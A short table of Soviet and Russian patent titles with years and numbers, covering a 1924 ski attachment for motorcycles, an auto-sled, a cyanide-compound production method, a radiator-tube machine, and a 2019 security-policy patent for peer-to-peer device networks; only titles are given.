| Устройство для закрепления лыж на раме мотоциклов и велосипедов взамен переднего колеса | 1924 |
|
SU2015A1 |
| Автомобиль-сани, движущиеся на полозьях посредством устанавливающихся по высоте колес с шинами | 1924 |
|
SU2017A1 |
| Способ получения цианистых соединений | 1924 |
|
SU2018A1 |
| Станок для придания концам круглых радиаторных трубок шестигранного сечения | 1924 |
|
SU2019A1 |
| Способ осуществления правил политики безопасности в одноранговых коммуникационных сетях киберфизических устройств | 2019 |
|
RU2714217C1 |
